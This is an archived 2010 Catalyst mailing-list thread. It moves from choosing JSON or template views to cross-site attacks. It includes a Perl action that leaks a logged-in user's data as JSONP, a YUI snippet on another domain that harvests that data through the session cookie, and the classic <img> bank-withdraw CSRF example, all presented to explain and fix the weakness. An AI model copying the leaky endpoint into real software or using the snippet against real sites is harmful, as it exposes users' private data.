FAQ
Hi all,
I'm making a small catalyst application and I want to be able to serve
different types of content based on parameters and/or request headers.
I'm curious about where the "correct" location for that kind of code
is, my current sollution is in the Root end like this:

sub end : ActionClass('RenderView') {
...
if ($c->stash->{json} ||?$c->request->params->{json} ||
$c->req->header('accept') =~ /json/)
{
???$c->stash->{template} = $c->action.'_json.tt';
???$c->res->headers->content_type( 'Application/json; charset=utf-8' );
}
...
}

but it feels "wrong" to put it in the Root controller rather than the
view.? Is this really the place where I'm supposed to have that kind
of logic? Would that also be the place if I want to add pdf out to
pick another View to forward to?

Thanks in advance
Jon

Search Discussions

  • Tomas Doran at Mar 26, 2010 at 12:45 pm

    Jon mailinglists wrote:
    Hi all,
    I'm making a small catalyst application and I want to be able to serve
    different types of content based on parameters and/or request headers.
    I'm curious about where the "correct" location for that kind of code
    is, my current sollution is in the Root end like this:

    sub end : ActionClass('RenderView') {
    ...
    if ($c->stash->{json} || $c->request->params->{json} ||
    $c->req->header('accept') =~ /json/)
    {
    $c->stash->{template} = $c->action.'_json.tt';
    $c->res->headers->content_type( 'Application/json; charset=utf-8' );
    }
    ...
    }
    How is generating JSON in template toolkit not 100% insane?

    Please use something like Catalyst::View::JSON instead?
    but it feels "wrong" to put it in the Root controller rather than the
    view. Is this really the place where I'm supposed to have that kind
    of logic? Would that also be the place if I want to add pdf out to
    pick another View to forward to?
    Yes.

    The controller asks the model for some data, and then chooses how to
    present that data (whilst the view actually handles the presentation
    details.

    In the example of a PDF, you'd set $c->stash('current_view' => 'PDF');

    Cheers
    t0m
  • Bill Moseley at Mar 26, 2010 at 1:15 pm

    On Fri, Mar 26, 2010 at 5:50 AM, Tomas Doran wrote:
    The controller asks the model for some data, and then chooses how to
    present that data (whilst the view actually handles the presentation
    details.
    That means the controllers have to be aware of the view. That is, the
    controllers have to know what view is going to be used so that it can fetch
    the data needed for that specific view. Is that what you are saying?


    --
    Bill Moseley
    moseley@hank.org
    -------------- next part --------------
    An HTML attachment was scrubbed...
    URL: http://lists.scsys.co.uk/pipermail/catalyst/attachments/20100326/8a54213b/attachment.htm
  • John Napiorkowski at Mar 26, 2010 at 3:29 pm

    From: Bill Moseley <moseley@hank.org>
    To: The elegant MVC web framework <catalyst@lists.scsys.co.uk>
    Sent: Fri, March 26, 2010 9:15:47 AM
    Subject: Re: [Catalyst] Picking template type based on input


    On Fri, Mar 26, 2010 at 5:50 AM, Tomas Doran wrote:

    The controller asks the model for some data, and then chooses how to present that data (whilst the view actually handles the presentation details.

    That means the controllers have to be aware of the view. That is, the controllers have to know what view is going to be used so that it can fetch the data needed for that specific view. Is that what you are saying?
    I think this is an important point. Right now the common method in Catalyst is for a controller to sorta 'gather data' into the stash primarily via models and anything that comes into the system from post or get (and maybe checking the flash or session in so cases). The the controller sort basically lets go of the stash and prays the right thing happens. Usually we have a terminal end action based on RenderView which asks a View object to 'do the right thing', BUT its that view handler making the choice , like the common TT view (and nearly all the other Views do the same thing) which is a handler that dispatches to the underlying view templating system based on information from the context. Its a bit too detached I think.

    Here's a problem I just recently had. I'm building a web page which is a gallery of images based on search terms. In the controller I get the incoming raw parameters, convert them to a search term object and if that object is valid I pass it to a method on my DBIC based schema which returns a resultset of images.

    Now, this resultset needs to be paged. I also have some rules to interpret the requested page so I can handle cases where someone askes for a page beyond the range available in the actual returned resultset. For that, the controller needs to know the size of the page and number of pages, so I created the paged set inside the controller... but that means my template authors need to change the controller (or a configuration file for that controller) in order to change the page size. To me that is just a display issue, my model and controller should be asking the view object "what do you want?" I think. But right now there is no simple way to do this. Not sure the best solution.


    --
    Bill Moseley
    moseley@hank.org
  • Jon at Mar 26, 2010 at 4:31 pm

    On Fri, Mar 26, 2010 at 1:50 PM, Tomas Doran wrote:
    Jon mailinglists wrote:
    Hi all,
    [snip]
    How is generating JSON in template toolkit not 100% insane?

    Please use something like Catalyst::View::JSON instead?
    To be honest I haven't tried it but seeing you're involved in it I
    understand that stance :)

    I don't think Catalyst::View::JSON would help me though since I need
    to send "YUI JSON", ie:
    MyNamespace.callback({"ResultSet":{

    Which would force me to do make changes in the result anyway, and a
    few loops in a tt2 file isn't that much of a problem.
    but it feels "wrong" to put it in the Root controller rather than the
    view. Is this really the place where I'm supposed to have that kind
    of logic? Would that also be the place if I want to add pdf out to
    pick another View to forward to?
    Yes.

    The controller asks the model for some data, and then chooses how to present
    that data (whilst the view actually handles the presentation details.

    In the example of a PDF, you'd set $c->stash('current_view' => 'PDF');
    When you say "and then chooses how to present that data" I take it's
    in a very limited way it gets to choose? I mean the templates tend to
    (at least in my case) have a few loops and if/else in them.

    To me it makes more for the Controller to ask the Model for data, do
    logic and put it in the stash and then tell the View. "Here's your
    data, apply your limited logic to it and render a nice output."

    Regarding PDF/XML/JSON/HTML/text/whatever as output I would very much
    prefer the View to make that decision. IE a View super module seing
    the parameters/accept and telling the right sub View to deal with it.

    That doesn't seems to be the general idea though?
  • Jay Shirley at Mar 26, 2010 at 5:03 pm

    On Fri, Mar 26, 2010 at 9:31 AM, Jon mailinglists wrote:
    On Fri, Mar 26, 2010 at 1:50 PM, Tomas Doran wrote:
    Jon mailinglists wrote:
    Hi all,
    [snip]
    How is generating JSON in template toolkit not 100% insane?

    Please use something like Catalyst::View::JSON instead?
    To be honest I haven't tried it but seeing you're involved in it I
    understand that stance :)

    I don't think Catalyst::View::JSON would help me though since I need
    to send "YUI JSON", ie:
    MyNamespace.callback({"ResultSet":{
    That's not "YUI JSON", that's just a JSON callback which
    Catalyst::View::JSON supports just fine (see the CONFIG section of the
    Catalyst::View::JSON docs).

    Which would force me to do make changes in the result anyway, and a
    few loops in a tt2 file isn't that much of a problem.
    I use JSON callbacks frequently, with YUI, and find that decorating
    the resulting hash with pagination and then using
    DBIx::Class::ResultClass::HashRefInflator everything works remarkably
    well, without any munging.


    -J
  • Jon at Mar 26, 2010 at 8:55 pm

    On Fri, Mar 26, 2010 at 6:03 PM, J. Shirley wrote:
    On Fri, Mar 26, 2010 at 9:31 AM, Jon mailinglists wrote:
    On Fri, Mar 26, 2010 at 1:50 PM, Tomas Doran wrote:
    Jon mailinglists wrote:
    Hi all,
    [snip]
    How is generating JSON in template toolkit not 100% insane?

    Please use something like Catalyst::View::JSON instead?
    To be honest I haven't tried it but seeing you're involved in it I
    understand that stance :)

    I don't think Catalyst::View::JSON would help me though since I need
    to send "YUI JSON", ie:
    MyNamespace.callback({"ResultSet":{
    That's not "YUI JSON", that's just a JSON callback which
    Catalyst::View::JSON supports just fine (see the CONFIG section of the
    Catalyst::View::JSON docs).
    I read a bit more about it just after sending the mail, it does indeed
    seem to do what I want.
    Which would force me to do make changes in the result anyway, and a
    few loops in a tt2 file isn't that much of a problem.
    I use JSON callbacks frequently, with YUI, and find that decorating
    the resulting hash with pagination and then using
    DBIx::Class::ResultClass::HashRefInflator everything works remarkably
    well, without any munging.
    Great, thanks for the tip. I'll look into that.

    A bit OT but:
    Is there any built in XSS protection built in some module in Catalyst?
    I was thinking something like auth tokens one can add to the html only
    known by the server and the loaded page, to protect private data sent
    by JSON. Or isn't that secure enough?
  • Bill Moseley at Mar 26, 2010 at 9:36 pm

    A bit OT but:
    Is there any built in XSS protection built in some module in Catalyst?
    I was thinking something like auth tokens one can add to the html only
    known by the server and the loaded page, to protect private data sent
    by JSON. Or isn't that secure enough?
    You have an example of what you need to protect against?

    If you are sending a JSON response to the client it's not really "private"
    -- any more than the html response. Guess, I don't understand your
    concern.


    --
    Bill Moseley
    moseley@hank.org
    -------------- next part --------------
    An HTML attachment was scrubbed...
    URL: http://lists.scsys.co.uk/pipermail/catalyst/attachments/20100326/f1b86597/attachment.htm
  • Jon at Mar 26, 2010 at 10:52 pm

    On Fri, Mar 26, 2010 at 10:36 PM, Bill Moseley wrote:
    A bit OT but:
    Is there any built in XSS protection built in some module in Catalyst?
    I was thinking something like auth tokens one can add to the html only
    known by the server and the loaded page, to protect private data sent
    by JSON. Or isn't that secure enough?
    You have an example of what you need to protect against?
    If you are sending a JSON response to the client it's not really "private"
    -- any more than the html response. ? Guess, I don't understand your
    concern.
    User data for instance, say I have an application which is password
    protected and I'm using the Authenticate/Authorize model coming with
    Catalyst. I then protect the user data with a session cookie making
    sure $c->user->address is shown and editable by the logged in user
    (based on the thought that only the user can send me the cookie).

    How do I protect that from another site with another tab? YUI.Get
    allows cross site requests, I haven't looked in too deep into it but
    when I take the url I see the javascript requests in gmail does and
    put it in a small YUI snippet will I get all my mail:
    https://mail.google.com/mail/?ui=2&ik=a_secret_token_or_my_id&view=tl&start=0&nump&rt=h&search=drafts&zx=a_secret_token_or_my_id

    I've obviously removed the one or two variables google use to protect
    my data, which prevents another tab from actually getting more than my
    labels. Obviously what google has done here is using these tokens to
    protect me. If I don't use tokens (or some other scheme) can another
    site easily do the request to gmail and fetch all my mail, my contacts
    etc all because the browser allows a cross site script running and
    using the original cookies.

    To me it seems cookies (at least in FF 3.5.8) aren't worth anything to
    make sure the request is from a logged in user and not some random
    site the user has gone to while having a valid cookie. Or am I overly
    paranoid?

    If I'm not paranoid I'd like to do somthing like this in
    some_header.tt (or in a sandboxed YUI context):
    var GLOBAL_TOKEN = "[% c->auth_token %]";

    and then in every request dealing with something I only want a logged
    in user to have access to require it to match what I've stored server
    side for this session.

    And again, I'm no security expert and this with javascript/browser
    lack of security is fairly new to me so I'm not at all betting my
    dirty undies that I'm correct. I'd be a lot happier if I'm not since
    this would add a lot of hassle.
  • Bill Moseley at Mar 27, 2010 at 3:09 pm
    Hi,

    Sorry, I'm having a hard time understanding what you wrote below. Do you
    have a specific attack vector you are concerned with or just a general
    concern to protect against cross site scripting?

    Perhaps you could provide a specific example or link to an example we can
    review if it's something specific.
    Maybe someone else can respond if you have a specific attack in question.

    If it's a general concern then the answer is you make safe all user data
    that is reflected back to the user or any other users.

    Other comments below:

    On Fri, Mar 26, 2010 at 3:52 PM, Jon mailinglists wrote:

    User data for instance, say I have an application which is password
    protected and I'm using the Authenticate/Authorize model coming with
    Catalyst. I then protect the user data with a session cookie making
    sure $c->user->address is shown and editable by the logged in user
    (based on the thought that only the user can send me the cookie).
    Untangling that, I think you are concerned that a user could modify their
    "address" and have it reflected (displayed) back to them. And if that
    "address" is not correctly sanitized (escaped) then there's risk of cross
    site scripting. Is that correct?

    The general answer there is, again, never reflect user-entered data without
    escaping.

    How do I protect that from another site with another tab? YUI.Get
    allows cross site requests, I haven't looked in too deep into it but
    when I take the url I see the javascript requests in gmail does and
    put it in a small YUI snippet will I get all my mail:

    https://mail.google.com/mail/?ui=2&ik=a_secret_token_or_my_id&view=tl&start=0&num=70&rt=h&search=drafts&zx=a_secret_token_or_my_id

    Lost me there. What is your concern with another tab? Browser should not
    allow one tab to run script in the context of another tab.
    From what I understand, YUI.Get simply allows dynamically fetching content
    from third-party sites (just like you can with markup in your page). That's
    not a security risk itself, unless you are fetching from an untrusted
    third-party site.

    You would have to add the YUI.Get code in the first place to your own page
    so it's not really cross site scripting if it's your own script that is
    running.

    Sorry, I don't understand your last half a sentence about gmail. (Although,
    I've often wondered about their auth mechanism.)

    <...>

    And again, I'm no security expert and this with javascript/browser

    lack of security is fairly new to me so I'm not at all betting my

    dirty undies that I'm correct. I'd be a lot happier if I'm not since

    this would add a lot of hassle.


    I'm not a security expert, either. This may be the wrong list for security
    experts.

    But, in general, off the top of my head the standard recommendations
    include:

    - Use cookies for your auth token. Avoid more complex schemes for
    passing tokens around.
    - Use SSL if your site needs to protect private data and user confidence.
    - Change session ids upon authorization or switch to SSL.
    - Use secure cookies (only returned over SSL).
    - Use HttpOnly cookies (prevents cookie access in most clients).
    - Escape all reflected user data.
    - Avoid creating pages that allow users to enter (and reflect) markup.

    I'm sure there's others that people here can recommend.


    --
    Bill Moseley
    moseley@hank.org
    -------------- next part --------------
    An HTML attachment was scrubbed...
    URL: http://lists.scsys.co.uk/pipermail/catalyst/attachments/20100327/ecad6909/attachment.htm
  • Jon at Mar 28, 2010 at 2:12 pm
    Hi

    Top posting, don't rip my head off.

    I'll try explaining a bit better. English isn't my first language and
    it can be a bit hard explaining too abstract things sometimes. So a
    more hands on try coming up:

    In my catalyst app I have this sub (not really, but this makes things
    easier to follow):

    sub get_info : Local {
    my ($self, $c) = @_;

    my $info = $c->user->member_info;
    my $res = 'MyNamespace.callback({"ResultSet":{"totalResultsAvailable":"73399","firstResultPosition":"0","totalResultsReturned":"20","Result":[{"Title":"'.$info->get_column('first_name').'
    '.$info->get_column('last_name').'","zip_code":"'.$info->get_column('areacode').'"}]}});';
    $c->response->body($res);
    }

    One has to be logged in, and one obviously is seeing that $c->user is set.

    If I now on another domain put this html/js:
    <div id="container"><button id="siteExplorerData">Click
    me</button><div id="results"></div></div>

    function(Y) {
    MyNamespace = YUI.namespace('example.SiteExplorer');
    var elResults = Y.one("#results"),
    tIds = {},
    loading = false,
    current = null;
    var onSiteExplorerSuccess = function(o) {
    // stop blocking requests
    loading = false;
    };

    var onSiteExplorerFailure = function(o) {};
    var onSiteExplorerTimeout = function(o) {};
    var getSiteExplorerData = function() {
    if (loading) {
    return;
    }
    loading = true;

    //prepare the URL for the Yahoo Site Explorer API:
    var sURL = "http://MY-CATALYST-SERVER:3000/member/get_info";
    var transactionObj = Y.Get.script(sURL, {
    onSuccess: onSiteExplorerSuccess,
    onFailure: onSiteExplorerFailure,
    onTimeout: onSiteExplorerTimeout,
    timeout: 20000,
    context: Y
    });
    current = transactionObj.tId;
    };

    MyNamespace.callback = function(results) {
    var aResults = results.ResultSet.Result;
    tIds[current] = true;
    var html = "<b>FAILED</b>"
    if(aResults)
    html ="<li><strong>" + aResults[0].full_name + " lives in "
    + aResults[0].zip_code + "</strong></li>";
    //insert string into DOM:
    elResults.set('innerHTML', html);
    };

    //suppress default form behavior
    Y.get("#siteExplorerData").on("click", getSiteExplorerData);

    });

    (it's basically this YUI example:
    http://developer.yahoo.com/yui/3/examples/get/get-script-basic.html)

    I then login to my application in one tab, and in another tab access
    this js/html. That will give back the data about me since I've got a
    valid session which gets sent to my catalyst server. That means
    evilempire.com has access to my logged in users data, and that's what
    I want to protect them from. XSS from another site.

    That's why I was talking auth tokens or some other means of protection.

    I suppose more people have thought of that, and this isn't really
    Catalyst specific but very general. What I wonder though is if there's
    any built in mechanism to protect from that since if I haven't got it
    all wrong are cookie based sessions pretty much useless as security.

    Was this easier to follow?

    /Jon
    On Sat, Mar 27, 2010 at 5:09 PM, Bill Moseley wrote:
    Hi,

    Sorry, I'm having a hard time understanding what you wrote below.? Do you
    have a specific attack vector you are concerned with or just a general
    concern to protect against cross site scripting?
    Perhaps you could provide a specific example or link to an example we can
    review if it's something specific.
    Maybe someone else can respond if you have a specific attack in question.
    If it's a general concern then the answer is you make safe all user data
    that is reflected back to the user or any other users.
    Other comments below:
    On Fri, Mar 26, 2010 at 3:52 PM, Jon mailinglists wrote:

    User data for instance, say I have an application which is password
    protected and I'm using the Authenticate/Authorize model coming with
    Catalyst. I then protect the user data with a session cookie making
    sure $c->user->address is shown and editable by the logged in user
    (based on the thought that only the user can send me the cookie).
    Untangling that, I think you are concerned that a user could modify their
    "address" and have it reflected (displayed) back to them.? And if that
    "address" is not correctly sanitized (escaped) then there's risk of cross
    site scripting. ? Is that correct?

    The general answer there is, again, never reflect user-entered data without
    escaping.
    How do I protect that from another site with another tab? YUI.Get
    allows cross site requests, I haven't looked in too deep into it but
    when I take the url I see the javascript requests in gmail does and
    put it in a small YUI snippet will I get all my mail:

    https://mail.google.com/mail/?ui=2&ik=a_secret_token_or_my_id&view=tl&start=0&nump&rt=h&search=drafts&zx=a_secret_token_or_my_id
    Lost me there. ?What is your concern with another tab? ?Browser should not
    allow one tab to run script in the context of another tab.
    From what I understand, YUI.Get simply allows dynamically fetching content
    from third-party sites (just like you can with markup in your page). ?That's
    not a security risk itself, unless you are fetching from an untrusted
    third-party site.
    You would have to add the YUI.Get code in the first place to your own page
    so it's not really cross site scripting if it's your own script that is
    running.
    Sorry, I don't understand your last half a sentence about gmail. ?(Although,
    I've often wondered about their auth mechanism.)
    ?<...>
    And again, I'm no security expert and this with javascript/browser

    lack of security is fairly new to me so I'm not at all betting my

    dirty undies that I'm correct. I'd be a lot happier if I'm not since

    this would add a lot of hassle.
    I'm not a security expert, either. ?This may be the wrong list for security
    experts.
    But, in general, off the top of my head the standard recommendations
    include:

    Use cookies for your auth token. ?Avoid more complex schemes for passing
    tokens around.
    Use SSL if your site needs to protect private data and user confidence.
    Change session ids upon authorization or switch to SSL.
    Use secure cookies (only returned over SSL).
    Use HttpOnly cookies (prevents cookie access in most clients).
    Escape all reflected user data.
    Avoid creating pages that allow users to enter (and reflect) markup.

    I'm sure there's others that people here can recommend.

    --
    Bill Moseley
    moseley@hank.org

    _______________________________________________
    List: Catalyst@lists.scsys.co.uk
    Listinfo: http://lists.scsys.co.uk/cgi-bin/mailman/listinfo/catalyst
    Searchable archive: http://www.mail-archive.com/catalyst@lists.scsys.co.uk/
    Dev site: http://dev.catalyst.perl.org/
  • Bill Moseley at Mar 28, 2010 at 9:41 pm

    On Sun, Mar 28, 2010 at 7:12 AM, Jon mailinglists wrote:

    In my catalyst app I have this sub (not really, but this makes things
    easier to follow):

    sub get_info : Local {
    my ($self, $c) = @_;

    my $info = $c->user->member_info;
    my $res =
    'MyNamespace.callback({"ResultSet":{"totalResultsAvailable":"73399","firstResultPosition":"0","totalResultsReturned":"20","Result":[{"Title":"'.$info->get_column('first_name').'

    '.$info->get_column('last_name').'","zip_code":"'.$info->get_column('areacode').'"}]}});';
    $c->response->body($res);
    }
    I think I get it now. I first thought you were talking about users adding
    javascript to pages you render -- that is, allowing someone to inject script
    onto your pages.

    (I'm hoping someone will jump in an correct anything I say wrong here --
    which often seems like the best way to get a response here...)

    I think the short answer is, don't return JSONP -- don't return JSON wrapped
    in a function call. That's a way to bypass security provided by the
    same-origin policy.

    Let me restate what I think you are saying:


    1. The "good site" (MY-CATALYST-SERVER in your example) returns the JSONP
    above as long as the user is logged in. By "logged in" that means the
    request includes a valid session id in the cookie.
    2. In another tab of the same browser when viewing a page from "
    evil_empire.com" a request is made to
    http://MY-CATALYST-SERVER:3000/member/get_info.
    3. That request will include the cookie required to gain access (and thus
    return private user data).
    4. Javascript is returned that includes a call to a function passing the
    user's private data to that function.
    5. evil_empire.com now has access to the user's name and zip code.

    Yes, this is true. This is a security hole. But by returning JSONP you
    gave away this access.

    JSONP is "application/javascript" -- and as such it can be loaded from any
    domain. Loading javascript is not limited by same-origin policy. (If it
    was then Content Delivery Networks would be of limited use.).

    Note, this has nothing to do with YUI.Get. evil_empire.com just needs to
    add a <script> tag to their page to fetch the JSONP from your app. YUI.Get
    just provides a dynamic way to accomplish that.

    Your application should only return data via JSON, not JSONP. For a script
    to read JSON data it needs to use XMLHttpRequest and that request is limited
    by the same-origin policy. That is, javascript running on evil_empire.com's
    page cannot do an AJAX request to your catalyst application.

    Hopefully, that's clear -- and correct. ;)


    --
    Bill Moseley
    moseley@hank.org
    -------------- next part --------------
    An HTML attachment was scrubbed...
    URL: http://lists.scsys.co.uk/pipermail/catalyst/attachments/20100328/31efc20f/attachment.htm
  • Tomas Doran at Mar 28, 2010 at 10:11 pm

    On 28 Mar 2010, at 22:41, Bill Moseley wrote:
    Hopefully, that's clear -- and correct. ;)
    Yes, I think so - in the reply I just sent to the list to this thread
    I had entirely neglected to notice that the main issue is the JSONP
    thing, rather than the general case of XSRF.

    Not to say that the latter isn't a problem worth thinking about, but
    in the case illustrated it's clearly the JSONP which is the issue.

    Thanks for reading/analyzing in more detail than I managed to :(

    Cheers
    t0m
  • Tomas Doran at Mar 28, 2010 at 10:08 pm

    On 28 Mar 2010, at 15:12, Jon mailinglists wrote:
    I then login to my application in one tab, and in another tab access
    this js/html. That will give back the data about me since I've got a
    valid session which gets sent to my catalyst server. That means
    evilempire.com has access to my logged in users data, and that's what
    I want to protect them from. XSS from another site.
    Is that not XSRF, rather than XSS?
    That's why I was talking auth tokens or some other means of
    protection.
    A guess so, given that auth tokens are an XSRF protection really :)
    I suppose more people have thought of that, and this isn't really
    Catalyst specific but very general. What I wonder though is if there's
    any built in mechanism to protect from that since if I haven't got it
    all wrong are cookie based sessions pretty much useless as security.
    There are a number of pre-baked solutions to this on CPAN / in various
    form systems.

    That said, there is no generic thing you can plug into an arbitrary
    Catalyst application which will try to protect you.

    It would be possible to parse the HTML your app output, add an extra
    hidden field to any forms you had generated in the page, and then look
    for a previously generated token and redirect / refuse the request if
    it wasn't present.

    However this would obviously not catch forms generated purely from
    Javascript (and a number of other cases), and so I'm somewhat doubtful
    of its value in more complex applications. I can certainly remember
    the stuff which tries to achieve this that is baked into Rails making
    me scream :)

    That said - the wiki could very much benefit from a few pages which
    clearly explained the issue(s) surrounding XSS and XSRF in more
    detail, along with a rundown of what various form systems provide to
    mitigate these issues (and any other more generic modules available).

    Would you be prepared to write (even some) of this - given you seem to
    already be doing the research?
    Was this easier to follow?
    Yes. I thought that's what you meant the first time round, but I
    wasn't sure, and so I decided to wait for clarification (as other
    people had already replied when I saw your first mail).

    Cheers
    t0m
  • Bill Moseley at Mar 29, 2010 at 12:06 am
    On Sun, Mar 28, 2010 at 3:13 PM, Tomas Doran wrote:

    Speaking of XSRF:

    It would be possible to parse the HTML your app output, add an extra hidden
    field to any forms you had generated in the page, and then look for a
    previously generated token and redirect / refuse the request if it wasn't
    present.
    I do this -- every POST must include token, and the token can only be used
    once. That means the the form must be fetched before bing posted (to
    generate the token).

    I'm not sure I understand XSRF enough to know if there's a way to get around
    the token (or trick the browser into doing a POST for, say, and <img>.

    And for a SSL only site that requires login, I'm also not so sure the token
    requirement helps that much for security. The original purpose was to slow
    down form spamming and to prevent double-posting of forms.

    The tokesn don't work so well with an API, of course, but XSRF needs a
    browser, AFAIK (hard to trick a user of an API into making a request..)


    However this would obviously not catch forms generated purely from
    Javascript (and a number of other cases), and so I'm somewhat doubtful of
    its value in more complex applications. I can certainly remember the stuff
    which tries to achieve this that is baked into Rails making me scream :)
    I'm not clear how javascript is an issue here, unless the attacker has
    injected javascript into my site.

    The example on Wikipedia for XSRF is to add a link to your bank on the
    attackers site, which you view:
    <img src="
    " rel="nofollow">http://bank.example/withdraw?account=bob&amount=1000000&for=mallory">

    Which is a pretty bad bank that allows that. A third-party (evil) page can
    include the above and force a GET request that is not noticed, but to make a
    POST it would have to have a form where the response is from the bank. That
    is, you would see the bank's response page. Can't do it via an AJAX request
    because of the same-origin policy.

    Slippery stuff.



    --
    Bill Moseley
    moseley@hank.org
    -------------- next part --------------
    An HTML attachment was scrubbed...
    URL: http://lists.scsys.co.uk/pipermail/catalyst/attachments/20100328/a13de18d/attachment.htm
  • Tomas Doran at Mar 29, 2010 at 1:00 am

    On 29 Mar 2010, at 01:06, Bill Moseley wrote:
    I do this -- every POST must include token, and the token can only
    be used once. That means the the form must be fetched before bing
    posted (to generate the token).
    Have anything generic you'd care to share? :)
    However this would obviously not catch forms generated purely from
    Javascript (and a number of other cases), and so I'm somewhat
    doubtful of its value in more complex applications. I can certainly
    remember the stuff which tries to achieve this that is baked into
    Rails making me scream :)

    I'm not clear how javascript is an issue here, unless the attacker
    has injected javascript into my site.
    The issue is that if you're generating a form in javascript, and
    submitting it in javascript, then something finding forms in the page
    output (and adding a token automatically), which was what I initially
    suggested - would fail to find the form, and ergo you'd have an issue :)

    (i.e. it couldn't 'just work automatically' in that case without the
    application collaborating in some manor).

    Cheers
    t0m
  • Bill Moseley at Mar 29, 2010 at 2:20 am
    On Sun, Mar 28, 2010 at 6:05 PM, Tomas Doran wrote:
    On 29 Mar 2010, at 01:06, Bill Moseley wrote:


    I do this -- every POST must include token, and the token can only be used
    once. That means the the form must be fetched before bing posted (to
    generate the token).
    Have anything generic you'd care to share? :)

    Nothing generic -- and it's not rocket science, either. Or very glamorous.
    I simply have a template macro for creating my <form> tag which also
    includes the hidden field with the token id.

    Then part of form validation processed used for every post I check that the
    token was provided and is valid. The token is either in the database or in
    memcached. (I have a form_posted() method that does this check, along check
    for the correct method (PUT or POST) .)



    The issue is that if you're generating a form in javascript, and submitting
    it in javascript, then something finding forms in the page output (and
    adding a token automatically), which was what I initially suggested - would
    fail to find the form, and ergo you'd have an issue :)

    (i.e. it couldn't 'just work automatically' in that case without the
    application collaborating in some manor).

    I think I get it.

    Thanks,

    --
    Bill Moseley
    moseley@hank.org
    -------------- next part --------------
    An HTML attachment was scrubbed...
    URL: http://lists.scsys.co.uk/pipermail/catalyst/attachments/20100328/00ff8bc7/attachment.htm
  • Jon at Mar 29, 2010 at 9:12 am

    On Mon, Mar 29, 2010 at 12:13 AM, Tomas Doran wrote:
    On 28 Mar 2010, at 15:12, Jon mailinglists wrote:

    I then login to my application in one tab, and in another tab access
    this js/html. That will give back the data about me since I've got a
    valid session which gets sent to my catalyst server. That means
    evilempire.com has access to my logged in users data, and that's what
    I want to protect them from. XSS from another site.
    Is that not XSRF, rather than XSS?
    It seems like it is. I just stumbled upon this when checking out YUI
    3, and had managed to stay oblivious to this problem before. I then
    went on with checking if one could make an attack that way and got a
    bit scared by the results and asked here. Classic case of reinventing
    wheels. I called it XSS because I figured it was scripts running
    across sites, but apparently this is XSRF as you said.

    Thanks for the patience and decoding :)

    That's why I was talking auth tokens or some other means of protection.
    A guess so, given that auth tokens are an XSRF protection really :)
    I suppose more people have thought of that, and this isn't really
    Catalyst specific but very general. What I wonder though is if there's
    any built in mechanism to protect from that since if I haven't got it
    all wrong are cookie based sessions pretty much useless as security.
    There are a number of pre-baked solutions to this on CPAN / in various form
    systems.

    That said, there is no generic thing you can plug into an arbitrary Catalyst
    application which will try to protect you.

    It would be possible to parse the HTML your app output, add an extra hidden
    field to any forms you had generated in the page, and then look for a
    previously generated token and redirect / refuse the request if it wasn't
    present.

    However this would obviously not catch forms generated purely from
    Javascript (and a number of other cases), and so I'm somewhat doubtful of
    its value in more complex applications. I can certainly remember the stuff
    which tries to achieve this that is baked into Rails making me scream :)
    But if one has a header.tt2, and that header has an <input
    type="hidden" id="token" value="[% c.token %]> would every javascript
    be able to get that value and add it to each form generated. Wouldn't
    that solve the problem, and also make sure that a request from a user
    is really that and not coming from an evil site. Or is that a naive
    solution?

    With the risk of making you scream here:

    Wouldn't it make sense to have and option in Authorization which
    generates and stores a token server side, in either a database or in
    the session (like Bill seems to do) at login time. If I'm not horribly
    mistaken would one token be enough for a session since the attack is
    blind and there's no way for a 3rd party to figure it out unless using
    brute force.

    If that is correct, one can go about playing CRUD and allowing
    /member/get_info?token=... and /member/set_info?token=... with GET
    requests?

    That said - the wiki could very much benefit from a few pages which clearly
    explained the issue(s) surrounding XSS and XSRF in more detail, along with a
    rundown of what various form systems provide to mitigate these issues (and
    any other more generic modules available).

    Would you be prepared to write (even some) of this - given you seem to
    already be doing the research?
    I just had a look and the wiki gives me an internal server error. I
    can try to add some info regarding this, it might be better than
    nothing but as I said, my English is far from perfect and it becomes
    extra obvious when trying to explain something complex.

    One thing I really think should be added there is a more verbose
    explanation to the note in Catalyst::Manual::Tutorial::04_BasicCRUD:
    Note: In practice you should never use a GET request to delete a
    record -- always use POST for actions that will modify data. We are
    doing it here for illustrative and simplicity purposes only.

    Since this is potentially as nasty as storing untainted data in the
    database, both for cases where GET is logical
    (/get_really_private_data) and cases like this where one is
    deleting/updating global data in a database.
    Was this easier to follow?
    Yes. I thought that's what you meant the first time round, but I wasn't
    sure, and so I decided to wait for clarification (as other people had
    already replied when I saw your first mail).
    Good, I'm trying to take a deep breath before explaining things but it
    fails sometimes :)
  • Bill Moseley at Mar 29, 2010 at 3:22 pm

    On Mon, Mar 29, 2010 at 2:12 AM, Jon mailinglists wrote:
    It seems like it is. I just stumbled upon this when checking out YUI
    3, and had managed to stay oblivious to this problem before. I then
    went on with checking if one could make an attack that way and got a
    bit scared by the results and asked here. Classic case of reinventing
    wheels. I called it XSS because I figured it was scripts running
    across sites, but apparently this is XSRF as you said.
    I think you are missing it still. It's not really XSRF.

    These terms are a bit fuzzy and overloaded, but in general:

    XSS is where an attacker places script on the attacked site. This is
    accomplished by correctly not filtering user input. One example is a blog
    site where the attacker places script on a common page that many others
    view. Another approach is for the attacker to create a link to the site
    they wish to attack which includes javascript and trick people into clicking
    the link.
    When the script runs it can, for example, send the cookie to the attacker's
    site and then the user can use that session id to gain access.

    XSRF is (typically, AFAIK) where the attacker's site includes a tag that
    generates a request to another site. Wikipedia is worth reading, and it
    includes this example:

    <img src="
    " rel="nofollow">http://bank.example/withdraw?account=bob&amount=1000000&for=mallory">

    The attacker has to know (or hope) the person that is viewing the page with
    the <img> has an account at bank.example and that they are logged in (or
    have a "remember me" cookie).

    Of course, the <img> does a GET request to the poorly-coded bank site and
    incorrectly causes something to happen. This works because the browser will
    send the cookie with the request.

    Now to your example. It's ok to load and run javascript from a third party
    site. And any data that javascrpt brings in will be available to the page
    that is loading the script. This is expected. It's also expected that the
    browser will send the site's cookie along with the request.

    Your example seems like XSRF because the attacking site is requesting a
    resource (javascript) from your site -- just like the <img> above is making
    a request to another site. It's also similar because in both your example
    and the XSRF example above, the site is doing something dumb.

    The bank.example site is dumb because it's allowing a GET request to make a
    change. Your example is making the mistake of providing javascript that
    gives private data away.

    And that's why AJAX requests follow same-origin policy. It provides a way
    to fetch data from a site, but only from the site that the browser is
    viewing.

    (Sure, the attacking site could create a form (perhaps in a hidden iframe)
    and POST that, but hopefully your bank will return an "Are you sure you want
    to transfer your money to Mallory?" confirmation screen first.)

    Wouldn't it make sense to have and option in Authorization which
    generates and stores a token server side, in either a database or in
    the session (like Bill seems to do) at login time. If I'm not horribly
    mistaken would one token be enough for a session since the attack is
    blind and there's no way for a 3rd party to figure it out unless using
    brute force.

    If that is correct, one can go about playing CRUD and allowing
